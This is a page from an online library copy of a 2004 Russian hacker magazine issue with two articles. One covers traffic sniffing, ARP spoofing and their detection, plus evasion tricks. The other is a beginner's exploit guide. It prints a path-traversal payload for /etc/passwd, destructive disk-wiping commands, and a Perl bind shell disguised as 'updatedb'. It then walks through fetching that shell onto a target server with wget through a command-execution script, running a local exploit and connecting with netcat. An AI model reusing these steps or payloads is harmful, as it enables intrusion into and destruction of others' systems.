355 500 произведений, 25 200 авторов.

Электронная библиотека книг » Хакер Журнал » Спецвыпуск журнала «Хакер» 47, октябрь 2004 г. » Текст книги (страница 5)
Спецвыпуск журнала «Хакер» 47, октябрь 2004 г.
  • Текст добавлен: 5 октября 2016, 01:35

Текст книги "Спецвыпуск журнала «Хакер» 47, октябрь 2004 г."


Автор книги: Хакер Журнал



сообщить о нарушении

Текущая страница: 5 (всего у книги 21 страниц)

Рыбная ловля в локальной сети / Все аспекты снифинга под *nix

Крис Касперски aka мыщъх


Сетевой трафик содержит уйму интересного – пароли, номера кредитных карт, конфиденциальную переписку, и все это может стать достоянием злоумышленника, если тот забросит в сеть снифер. Перехват информации – занятие настолько же интересное, насколько и небезопасное. Популярные сниферы никак не скрывают своего присутствия и легко обнаруживаются администраторами. Тем, кто опасается расправы, мы можем посоветовать только одно – не заниматься подобными вещами. Ну а неугомонным экспериментаторам лучше написать свой собственный снифер, и эта статья подскажет как.


Цели и методы атаки

Снифером (от англ. sniff – вынюхивать) называют утилиты для перехвата сетевого трафика, адресованного другому узлу, или – в более общем случае – всего доступного трафика, проходящего или не проходящего через данный хост. Большинство сниферов представляют собой вполне легальные средства мониторинга и не требуют установки дополнительного оборудования. Тем не менее, их использование в общем случае незаконно или же предполагает соответствующие полномочия (например, монтер может подключаться к телефонным проводам, а ты – нет). Кстати говоря, слово «sniffer» является торговой маркой компании Network Associates, распространяющей сетевой анализатор «Sniffer(r) Network Analyzer». Использовать этот термин в отношении других программ с юридической точки неправомерно, но… XEROX тоже торговая марка, а в просторечии все копировальные аппараты независимо от производителя называют «ксероксами», и никто от этого еще не пострадал.

Объектом атаки могут выступать: локальная сеть (как хабовой, так и свитчевой архитектуры), глобальная сеть (даже при модемном подключении!), спутниковый и мобильный интернет, беспроводные средства связи (ИК, «голубой зуб») и т.д. В основном мы будем говорить о локальных сетях, а все остальные объекты рассмотрим лишь кратко, так как они требуют совсем другого подхода.

По методу воздействия на жертву существующие атаки можно разделить на два типа: пассивные и активные. Пассивный снифинг позволяет перехватывать лишь ту часть трафика, которая физически проходит через данный узел. Все остальное может быть получено лишь путем прямого вмешательства в сетевые процессы (модификация таблиц маршрутизации, отправка подложных пакетов и т.д.).


Пассивный перехват трафика

Локальная сеть уже давно стала пониматься синонимично Ethernet, а в Ethernet-сетях, построенных по топологии общей шины, каждый испускаемый пакет доставляется всем участникам сети. Сетевая карта на аппаратном уровне анализирует заголовки пакетов (фреймов) и сверяет свой физический адрес (так же называемый MAC-адресом) с адресом, прописанном в Ethernet-заголовке, передавая на IP-уровень только «свои» пакеты.

Для перехвата трафика карту необходимо перевести в неразборчивый (promiscuous) режим, в котором на IP-уровень передается все принятые пакеты. Неразборчивый режим поддерживает подавляющее большинство стандартных карт, провоцируя излишне любопытных пользователей на проникновение в интимную жизнь остальных участников сети.

Переход на витую пару с концентратором ничего не меняет – отправляемые пакеты дублируется на каждый выход хаба и грабятся по той же самой схеме. Коммутатор, самостоятельно анализирующий заголовки пакетов и доставляющий их только тем узлам, для которых они предназначены, предотвращает пассивный перехват, вынуждая атакующего переходить к активным действиям.

Таким образом, для реализации пассивного снифинга мы должны перевести сетевую карту в неразборчивый режим и создать сырой (raw) сокет, дающий доступ ко всему, что валится на данный IP-интерфейс. Обычные сокеты для этой цели не подходят, поскольку принимают только явно адресованные им пакеты, поступающие на заданный порт. Легальные сниферы чаще всего используют кросс-платформенную библиотеку libpcap, однако настоящие хакеры предпочитают разрабатывать ядро снифера самостоятельно.

Операционные системы *nix блокируют прямой доступ к оборудованию с прикладного уровня (так что перепрограммировать сетевую карту просто так не удастся), однако все же предоставляют специальные рычаги для перевода интерфейса в неразборчивый режим, правда, в различных никсах эти рычаги очень разные, что существенно усложняет нашу задачу.

В состав BSD входит специальный пакетный фильтр (BPF – BSD Packet Filter), поддерживающий гибкую схему выборочного перехвата чужих пакетов и соответствующий устройству /dev/bpf. Перевод интерфейса в неразборчивый режим осуществляется посредством IOCTL и выглядит приблизительно так: ioctl(fd, BIOCPROMISC, 0), где fd – дескриптор интерфейса, а BIOCPROMISC – управляющий IOCTL-код. В Solaris'е все осуществляется аналогично, не совпадает только IOCTL-код и устройство называется не bpf, а hme. Похожим образом ведет себя и SunOS, предоставляющая потоковый драйвер псевдоустройства nit, также называемый краником в сетевом интерфейсе (NIT – Network Interface Tap). В отличие от пакетного фильтра BPF, потоковый фильтр NIC перехватывает только входящие пакеты, позволяя исходящим прошмыгнуть мимо него. К тому же он намного медленнее работает. Иную схему грабежа трафика реализует ОС Linux, поддерживающая специальные ioctl-коды для взаимодействия с сетью на уровне драйверов. Просто создай сырой сокет вызовом socket (PF_PACKET, SOCK_RAW, int protocol) и переведи связанный с ним интерфейс в неразборчивый режим: ifr.ifr_flags |= IFF_PROMISC; ioctl (s, SIOCGIFFLAGS, ifr), где s – дескриптор сокета, а ifr – интерфейс.

Полностью готовую к употреблению функцию, подготавливающую сырой сокет к работе с переводом интерфейса в неразборчивый режим и поддерживающую большое количество различных операционных систем, как то: SunOS, Linux, FreeBSD, IRIX и Solaris, можно легко выдрать из снифера, исходный текст которого находится по адресу: http://packetstormsecurity.org/sniffers/gdd13.c.


Обнаружение пассивного перехвата

Перевод интерфейса в неразборчивый режим не проходит бесследно и легко обнаруживается утилитой ifconfig, отображающей его статус, правда, для этого администратор должен иметь возможность удаленного запуска программ на машине атакующего, чему атакующий может легко воспрепятствовать или модифицировать код ifconfig (и других аналогичных ей утилит) так, чтобы она выдавала подложные данные. Кстати говоря, засылая снифер на какой-либо компьютер, всегда нужно помнить, что его присутствие в подавляющем большинстве случаев обнаруживается именно по ifconfig!

Многие легальные сниферы автоматически резолвят все полученные IP-адреса, выдавая атакующего с головой. Администратор посылает пакет на несуществующий MAC-адрес от/на несуществующего IP. Узел, поинтересовавшийся доменным именем данного IP, и будет узлом атакующего. Естественно, если атакующий использует собственный снифер, вырубит DNS в настройках сетевого соединения или оградит себя локальным брандмауэром, администратор останется наедине со своей задницей.

Как вариант, администратор может послать на несуществующий MAC-адрес пакет, предназначенный для атакующего (с действительным IP-адресом и портом отвечающей службы, например, ICMP ECHO, более известной как ping). Работая в неразборчивом режиме, сетевая карта передаст такой пакет на IP-уровень, и тот будет благополучно обработан системой, автоматически генерирующей эхо-ответ. Чтобы не угодить в ловушку, атакующий должен отключить ICMP и закрыть все TCP-порты, что можно сделать с помощью того же брандмауэра, конечно, при условии, что тот не открывает никаких дополнительных портов (а большинство брандмауэров их открывают).

Между прочим, грабеж трафика требует ощутимых процессорных ресурсов, и машина начинает заметно тормозить. Ну, тормозит, и фиг с ней – какие проблемы? А вот какие. Администратор делает узлу атакующего ping и засекает среднее время отклика. Затем направляет шторм пакетов на несуществующие (или существующие) MAC-адреса, после чего повторяет ping. Изменение времени отклика полностью демаскирует факт перехвата, и, чтобы этому противостоять, атакующий должен либо запретить ICMP ECHO (что вызовет серьезные подозрения), либо стабилизировать время отклика, вставляя то или иное количество холостых задержек (для этого ему придется модифицировать код эхо-демона).

Разумеется, существуют и другие способы обнаружения пассивного перехвата трафика. Например, администратор пускает по сети подложный пароль, якобы принадлежащий root'у, а сам залегает в засаду и ждет, что за зверь в эту ловушку попадется, после чего направляет по соответствующему адресу бригаду каратистов быстрого реагирования.


Активный перехват, или ARP-спуфинг

Отправляя пакет на заданный IP-адрес, мы, очевидно, должны доставить его какому-то узлу. Но какому? Ведь сетевая карта оперирует исключительно физическими MAC-адресами, а про IP ничего не знает! Следовательно, нам необходима таблица соответствия MAC– и IP-адресов. Построением такой таблицы занимается операционная система, и делает это она при помощи протокола ARP (Address Resolution Protocol – протокол разрешения адресов). Если физический адрес получателя неизвестен, в сеть отправляется широковещательный запрос типа: «Обладатель данного IP, сообщите свой MAC». Получив ответ, узел заносит его в локальную ARP-таблицу, для надежности периодически обновляя ее (фактически ARP-таблица представляет собой обыкновенный кэш). В зависимости от типа операционной системы и ее конфигурации интервал обновления может варьироваться в диапазоне от 30 сек. до 20 мин.

Никакой авторизации для обновления ARP-таблицы не требуется, более того, большинство операционных систем благополучно переваривают ARP-ответы, даже если им не предшествовали соответствующие ARP-запросы (SunOS – одна из немногих, кто не позволяет обмануть себя подобным образом, и потому подложный ARP-пакет должен быть отправлен только после соответствующего ARP-запроса, но до прихода подлинного ответа).

Для захвата чужого IP атакующему достаточно послать подложный ARP-запрос, который может быть как целенаправленным, так и широковещательным (для отправки/приема ARP-пакетов необходим доступ к сырым сокетам или специальному API операционной системы, подробности можно расковывать в утилите arp). Допустим, атакующий хочет перехватить трафик между узлами «A» и «B». Он посылает узлу «A» подложный ARP-ответ, содержащий IP-адрес узла «B» и свой MAC-адрес, а узлу «B» – ARP-ответ с IP-адресом узла «A» и своим MAC-адресом. Оба узла обновляют свои ARP-таблицы и все отправляемые ими пакеты попадают на узел злоумышленника, который либо блокирует, либо доставляет их получателю (возможно, в слегка измененном виде, то есть работает как прокси). Если послать подложный ARP-пакет маршрутизатору, атакующий сможет перехватывать и пакеты, приходящие извне данного сегмента сети. Атака такого типа называется MiM (сокращение от «Man-In-the-Middle» – человек посередине).

Как вариант, можно послать подложный ARP-ответ с несуществующим MAC-адресом. Тогда связь между «A» и «B» будет утеряна, впрочем, через некоторое время она автоматически восстановится (ведь ARP-таблица динамически обновляется!), и, чтобы этого не произошло, атакующий должен направить на жертву мощный поток подложных пакетов.

Кстати, если маршрутизатор не успевает маршрутизировать поступающие пакеты, он автоматически переключается в широковещательный режим, становясь обычным хабом. Загрузив маршрутизатор работой по самые помидоры (или дождавшись пиковой загрузки сети), атакующий может преспокойно снифать трафик и в пассивном режиме.


Обнаружение активного перехвата

Активная природа ARP-атаки демаскирует злоумышленника, и сетевые анализаторы типа arpwatch легко обнаруживают перехват. Они смотрят все пролетающие по сети пакеты (то есть работают как снифер), вытаскивают ARP-ответы и складывают их в базу данных, запоминая, какому MAC-адресу принадлежит какой IP-адрес. При обнаружении несоответствия администратору отправляется e-mail, к моменту получения которого нарушитель обычно успевает скрыться со всем награбленным трафиком. К тому, же в сетях с DHCP (сервером динамической раздачи IP-адресов) arpwatch выдает большое количество ложных срабатываний, так как одному и тому же MAC-адресу назначаются различные IP-адреса.

Некоторые операционные системы самостоятельно обнаруживают факт захвата своего IP-адреса посторонним узлом, но только в том случае, если злоумышленник использовал широковещательную рассылку (очень зря). К тому же, по малопонятным для меня мотивам ОС не отправляет ARP-ответ, отбирая похищенный IP-адрес назад, а просто отделывается многоэтажным предупреждением, смысл которого до рядового пользователя все равно не дойдет.

Статическая ARP-таблица, формируемая вручную, в этом плане выглядит намного более привлекательной, правда, даже после перехода на нее многие операционные системы продолжают принимать подложные ARP-ответы, безропотно отдавая себя в лапы злоумышленника, и убедить их не делать этого очень трудно, особенно если ты не гуру.


Клонирование карты

Физический адрес сетевой карты обычно жестко прошит в ПЗУ, и по стандарту никакой MAC не может использоваться дважды. Тем не менее, всякое ПЗУ можно перепрограммировать (особенно, если это перепрограммируемое ПЗУ типа EEPROM, каким на новых картах оно обычно и бывает). Также некоторые карты позволяют изменять свой MAC вполне легальными средствами (например, все той же многострадальной ifconfig). Наконец, заголовок Ethernet-пакета формируется программными, а не аппаратными средствами, поэтому нечестный драйвер может запросто прописать чужой MAC!

Клонирование MAC-адреса позволяет перехватывать трафик даже без присвоения чужого IP и без перевода карты в неразборчивый режим.


Обнаружения клонирования и противостояние ему

Факт клонирования (которым, кстати, любят баловаться пользователи популярных ныне домашних сетей) легко обнаружить с помощью протокола RARP (Reverse ARP), позволяющего определить, какой IP-адрес соответствует данному MAC. Каждому MAC должен соответствовать только один IP-адрес, в противном случае здесь что-то не так. Естественно, если атакующий не только клонирует MAC, но и захватит IP, этот прием не сработает.

Качественные маршрутизаторы позволяют байндить (от англ. bind – связывание) порты, закрепляя за каждым «проводом» строго определенный MAC, обессмысливая тем самым его клонирование.


Заключение

Разработка собственного снифера – это хороший способ поупражняться в программировании, покопаться в недрах операционной системы и изучить большое количество сетевых протоколов. Короче говоря, совместить приятное с полезным. Можно, конечно, использовать и готовые утилиты, но это все равно, что стрелять в кабана, привязанного к дереву – ни азарта, ни удовлетворения.


Хабы и ухабы

Хабом (от англ. hub – ступица колеса), или концентратором, называют многопортовый репитер (повторитель). Получив данные на один из портов, репитер немедленно перенаправляет их на остальные порты. В коаксиальных сетях репитер не является обязательным компонентом, и при подключении методом общей шины можно обойтись без него.

В сетях на витой паре и коаксиальных сетях, построенных по топологии «звезда», репитер присутствует изначально.

Свитч (от англ. switch – коммутатор), также называемый интеллектуальным хабом/маршрутизатором, представляет собой разновидность репитера, передающего данные только на порт того узла, которому они адресованы, что предотвращает возможность перехвата трафика (во всяком случае, теоретически).


Перехват трафика на Dial-Up

Для перехвата трафика на модемном подключении через обычную или электронную АТС (то есть не через кабельный модем) необходимо перепрограммировать маршрутизатор, находящийся у провайдера, что непросто сделать, однако у большинства провайдеров он так криво настроен, что посторонний трафик сыплется сам – только успевай принимать. В основном он состоит из обрывков бессвязного мусора, но порой в нем встречается кое-что интересное (например, пароли на почтовые ящики).

С другой стороны, перехват Dial-Up трафика позволяет исследовать все пакеты, принимаемые/отправляемые твоей машиной. Когда огонек модема возбуждающе мигает, но ни браузер, ни почтовый клиент, ни файлокачалка не активны, разве не интересно узнать, какая зараза ломиться в сеть, что и куда она передает? Вот тут-то локальный снифер и помогает!

Не все сниферы поддерживают соединения типа PPP, хотя с технической точки зрения это даже проще, чем грабить Ethernet. Переводить сетевую карту в неразборчивый режим не нужно, достаточно лишь сформировать сырой IP-сокет. Правда, если операционная система создает для PPP-соединения виртуальный сетевой адаптер, то ситуация становится неоднозначной. Некоторые драйвера требуют перехода в неразборчивый режим, некоторые – нет. За подробностями обращайся к документации на свою операционную систему.


Stealth-снифинг

Чтобы снифать трафик и гарантированно остаться незамеченным, достаточно настроить карту только на прием пакетов, запретив передачу на аппаратном уровне. На картах с витой парой для этого нужно просто перерезать передающие провода (обычно они оранжевого цвета). И хотя существует оборудование, позволяющее засечь левое подключение, подавляющему большинству организаций оно недоступно, поэтому реальная угроза разоблачения хакера мала.

Разумеется, stealth-сниффинг поддерживает только пассивный перехват, и потому в сетях с коммутатором придется дожидаться пиковой загрузки последнего, при которой он дублирует поступающие данные на все порты, как обычный хаб.


Мнение эксперта

Никита Кислицин, редактор рубрики «Взлом» журнала «Хакер»:

«Чрезвычайно эффективным методом взлома компьютерных сетей является снифинг данных. Что и говорить, зачастую бывает куда проще отснифать пароль к какому-то ресурсу, нежели ломать систему „с головы“. Однако прошло время, когда, запустив простейший пакетный снифер, любой желающий получает доступ ко всем данным, передаваемым по локалке. Большинство компьютерных систем строятся сейчас на базе коммутируемых сетей, в которых пакетные сниферы бессильны. Тут то на помощь и пришла атака Man-In-the-Middle и ARP-спуфинг как частный ее случай. От этого уже никуда не деться, поэтому в очередной раз спешу напомнить сетевым администраторам о целесообразности использования защищенных соединений, в которых потоки информации криптуются стойким алгоритмом и передаваемая информация недоступна сетевым злодеям».

Большинство сниферов представляют собой вполне легальные средства мониторинга и не требуют установки дополнительного оборудования.

Слово «sniffer» является торговой маркой компании Network Associates, распространяющей сетевой анализатор «Sniffer(r) Network Analyzer».

Пассивный снифинг позволяет перехватывать лишь ту часть трафика, которая физически проходит через данный узел.

Для перехвата трафика карту необходимо перевести в неразборчивый режим, в котором на IP-уровень передаются все принятые пакеты.

Перевод интерфейса в неразборчивый режим не проходит бесследно и легко обнаруживается утилитой ifconfig.

Никакой авторизации для обновления ARP-таблицы не требуется!

Некоторые операционные системы самостоятельно обнаруживают факт захвата своего IP-адреса посторонним узлом.


Xploits. How to? / Эксплоиты под *nix для начинающих

Hi-Tech ([email protected], http://nsd.ru)


Очень часто требуется добыть важную информацию, упрятанную на вражеском сервере. В большинстве случаев эта информация рядовому пользователю системы недоступна, поэтому встает вопрос о повышении прав в системе, разрешается который при помощи специальных программ – эксплоитов.


Это что за покемон?

Эксплоиты – специальные программы, использующие уязвимости в том или ином компоненте системы или сервисе с целью повышения или получения прав в системе либо для деструктивных целей, например, DOS-атак. Для поиска уязвимостей чаще всего берутся сервисы или компоненты системы, запущенные с высокими привилегиями, или приложения, принадлежащие руту, у которых установлен бит SUID/SGID. Практически все программные эксплоиты используют уязвимости класса buffer overflow. Как ты, наверное, уже догадался, взломщик, а, точнее, shell-код (набор машинных инструкций, который заполняет собой переполненный буфер), встроенный в эксплоит, получит права дырявого приложения и предоставит их атакующему, например, в виде открытого на каком-либо порту shell’а с повышенными правами. Немного по-другому обстоят дела с DoS-эксплоитами, shell-код которых представляет из себя своего рода «кракозябру», не имеющую никакого лексического значения, и поэтому приложение, пытаясь понять, что же это такое, сваливается в кору (core), или, говоря простым языком, глючит и зависает. Если ты не знаешь, что значит выпадать в core, приведу аналогичный пример из Винды, с которым ты уж точно не раз сталкивался: программа зависает и выдает окошко «programm.exe – Ошибка приложения» примерно такого содержания: «Инструкция по адресу 0x12121212 обратилась к памяти по адресу 0x13131313. Память не может быть 'read'». Отличие лишь в том, что *nix-системы пишут на диск своеобразный дамп памяти, по которому можно определить причину ошибки.


Отчего же происходит переполнение?

Существует множество различных типов переполнения буфера, соответственно, и причин столько же. Чтобы наглядно показать тебе, каким образом получаются переполнения, я приведу пример.

#include

int main()

{

char buff[10] = {0}; //как ты видишь, в самом начале все элементы.

// выделенного под переменную буфера представляют 10 нулей.

// видно, что их может быть максимум 10! Т.е. программист рассчитывает, что

// мы введем обязательно десятизначное число.

printf(«Enter your 10-digit number»); // Вводим число…

scanf(buff, «%s»); // А вот мы и добрались до бага, функция scanf в данном

// случае не проверяет длину введенного нами числа. Подумай, куда денется

// еще 10 байт информации, если мы введем не 10, а 20 знаков?

// Правильно, выйдет за пределы буфера.

}

Вот как все легко, а если после 10-го символа вставить shell-код? Более подробно обо всем этом читай в Спеце #08.04(45). Уязвимости в программе возникают из-за невнимательности и халатности программистов. Также в этом есть часть вины самой архитектуры x86. В ближайшем времени компания Intel планирует выпустить процессор с аппаратной защитой от уязвимостей переполнения буфера. Насколько она будет эффективна, мы сможем убедиться в ближайшем будущем, а пока эксплоиты, использующие эти уязвимости, живут и процветают.


Эксплоиты – какие они?

Эксплоиты разделяют на удаленные (remote) и локальные (local). Заметь: «удаленные» (remote) никаким местом не связанны с «удаленными» (erased, removed, deleted). Удаленные сплоиты позволяют использовать баг в сервисе, доступном извне, к которому можно подсоединиться с другой машины посредством локальной сети или интернета. К таким сервисам относится, например, telnetd, ftpd, sshd, pop3d. Чаще всего черви, написанные для ОС *nix, распространяются именно таким способом. То есть они содержат встроенный эксплоит для внешнего сервиса. Если возвратиться к Windows, то самым ярким аналогом является уязвимость в RPC DCOM операционных систем Windows 2000/NT/XP/2003 и червь msblast. Кстати, сообщения о том, что «компьютер будет перезагружен через xx секунд», – результат кривого переполнения буфера, вызванного непродуманным алгоритмом действий червячка. Эти эксплоиты зачастую более желанные для хакера, потому что для их использования чаще всего не требуется иметь никакого доступа к атакуемой машине. Совершенно другая ситуация с локальными эксплоитами: они позволяют использовать брешь в приложении или в компоненте операционной системы, не имеющем прямого доступа к интернету. Ярким примером этого могут служить ядерные баги – ptrace и do(brk).

Ты знаешь об уязвимостях в web-скриптах, которые можно использовать прямо из адресной строки браузера, например «http://www.vulnhost.hu/vulnscript.php?page=../../../../etc/passwd»? Так вот, после того как ты все это набрал, как думаешь, чем это стало? Эксплоитом! То есть исходя из определения эксплоитом для скрипта «vulnscript.пхп» является «?page=../../../../etc/passwd».

Помимо такого деления эксплоиты можно разбить и на классы по их действиям.


CLASS’ные эксплоиты

Некорректно говорить, что эксплоиты приводят к тому-то и тому-то. На самом деле, они просто переполняют буфер, а какие-либо действия выполняет shell-код. Именно от содержания shell-кода зависит то, что произойдет при успешном выполнении атаки: откроется порт, выполнится команда или сервер уйдет в даун.

Откровенно говоря, классов эксплоитов много. Я познакомлю тебя с двумя.


DOS Shellcode Xploits

Чаще всего, эти эксплоиты удаленного действия. Целью, которую преследует хакер, натравливая такую штуку на уязвимый сервер, является выведение из строя атакуемого сервиса или всей операционной системы (да-да, бывают такие случаи, когда повешенный демон забирает с собой всю ОС). С каждым днем происходит все больше таких атак. Почему? Потому что тем, кто заказывает эти атаки, не нужна информация с сервера. Цель таких атак, как правило, банальное лишение конкурента дееспособности. Согласись, атаковать уязвимый сервис, подверженный DOS-атаке, проще, чем натравливать целую армию компьютеров на произведение ICMP– и подобных ей атак, действующих не проработанным принципом, а количеством. Второй причиной является то, что иногда, для того чтобы насолить врагу, достаточно DOS-атаки, а не rm –rf / (мне больше нравится cat /dev/urandom > /dev/hda – прим. Аваланча), а уязвимостей, позволяющих произвести убойную атаку, гораздо больше, чем тех, которые позволяют получить доступ. Это происходит потому, что часто переполнить буфер бывает достаточно легко, а впарить shell-код так, чтобы он выполнился как задумано, очень сложно, а порой даже нереально, так как в дырявой программе все-таки существует какая-то вредная проверка на вшивость.


Remote shell shellcode Xploits

Об этом классе эксплоитов я тоже уже успел упомянуть. После успешной атаки на уязвимую машину они открывают на ней порт, к которому можно подконнектиться и получить долгожданный shell с рутовыми правами. При этом в большинстве случаев тебе не придется пользоваться всеми удобствами /bin/bash: ты будешь юзать стандартный /bin/sh, так как именно его чаще всего вызывают shell-коды и именно он есть практически на всех машинах с *nix-системами на борту. Но не думай, что через этот порт всегда можно ходить в систему. Он легко убивается администратором, смывается ребутом или просто сам по себе отпадает после того, как от него отключишься.


Кто был никем, тот станет всем

Для исполнения локального эксплоита требуется хотя бы shell с правами nobody. А как его можно получить? Вот об этом я сейчас и расскажу.

Для начала понадобится доступ к одному из сайтов, которые хостятся на сервере. Это может быть FTP или дырявый web-скрипт, позволяющий выполнять команды (с помощью него мы не сможем полноценно запустить эксплоит, но сможем залить кое-что). Если FTP есть, а команды мы выполнять не можем, надо исправить эту оплошность, залив на сервер (сервер должен поддерживать PHP) такой скрипт:

Такая вот «малютка» умеет выполнять команды через запрос: www.target.com/cmd.php?cmd=команда.

Теперь нам потребуется realtime-доступ к /bin/sh, который нам предоставит нижерасположенный скрипт:

Potbind.pl

#!/usr/bin/perl

$port = 31337;

exit if fork;

$0 = «updatedb» . « « x100;

$SIG{CHLD} = 'IGNORE';

use Socket;

socket(S, PFINET, SOCKSTREAM, 0);

setsockopt(S, SOLSOCKET, SOREUSEADDR, 1);

bind(S, sockaddrin($port, INADDRANY));

listen(S, 50);

while(1){

accept(X, S);

unless(fork)

{ open STDIN, «<&X»;

open STDOUT, «> &X»;

open STDERR, «> &X»;

close X;

exec(«/bin/sh»);

} close X;}

После выполнения он откроет порт с shell’ом nobody, а пока сохраним его как bind.txt и зальем куда-нибудь на narod.ru. В случае с narod.ru нет необходимости называть его *.txt, можно сразу определить его как bind.pl, так как на Народе нет поддержки perl и скрипт сольется таким, каким он должен быть. А если на сервере есть поддержка perl, он загрузится в виде html-страницы, с результатами его выполнения. Но .txt он и в Африке .txt. Поэтому лучше назовем его так :). Эксплоит заливаем туда же.

Теперь, когда все готово, заливаем bind.txt и exploit.c через cmd.php командой wget или fetch для Linux или FreeBSD соответственно. Можно залить и с помощью сценария FTP (уж ftp есть везде). Заливать bind.txt и эксплоит желательно в /tmp. Теперь нам понадобится запустить bind.txt, для чего выполним через cmd.php такую команду: www.target.com/cmd.php?perl%20/tmp/bind.txt. Этим мы запустим скрипт bind.txt, который откроет для прослушивания порт 31337, где будет висеть shell с правами nobody. Теперь не помешало бы скомпилить сплоит. Делается обычно это так: gcc /tmp/exploit.c –o /tmp/exploit. Теперь телнетимся на 31337 порт target.com. В данном случае, если нет желания ставить «;» после каждой команды и видеть все более приглядно, можно использовать netcat (http://nsd.ru/soft/nc11nt.zip). Синтаксис таков: nc.exe target.com 31337. Теперь выполняем эксплоит… После каждой команды не забываем ввести «;» (если ты поленился юзать netcat и юзаешь обыкновенный telnet). Например, чтобы выполнить команду ls /tmp, надо ввести «ls /tmp;».


0-day, Private и Fake Xploits

Private Xploits – личные эксплоиты. О них никто ничего не знает, кроме автора и узкого круга его друзей. Иногда случаются утечки, и личное превращается в общее, называющееся 0-day, 0-day xploits – это новинки. Приватные и 0-day эксплоиты очень ценятся, потому что создатели программного обеспечения еще не подозревают об ошибке и в сети находятся сотни, тысячи, миллионы машин с этой уязвимостью, о которой почти никто не знает. Одним словом, это величайший рулез. Прикинь, какой можно создать ботнет, если уязвимость распространенная, а хакеров, которые о ней знают, всего несколько?

Отдельно стоит поговорить о fake-эксплоитах, которые все чаще и чаще встречаются. Фэйки – это, по сути, обман, который иногда бывает безвредным, а в некоторых случаях содержит в себе выгоду для создателя, например, добавляет еще одного зомби в его ботнет, а на экран использующего ее закера выдает сообщение о том, что система не подвержена атаке, или просто Segmentation Fault. Core dumped ;). Существуют целые группы, которые промышляют продажей якобы «0-day», за которыми на самом деле скрываются фейки. Их нужно опасаться и перед использованием эксплоита внимательно изучить исходник. Если он содержит шестнадцатеричные вставки, нужно расшифровать их, ибо за ними может скрываться троян.


    Ваша оценка произведения:

Популярные книги за неделю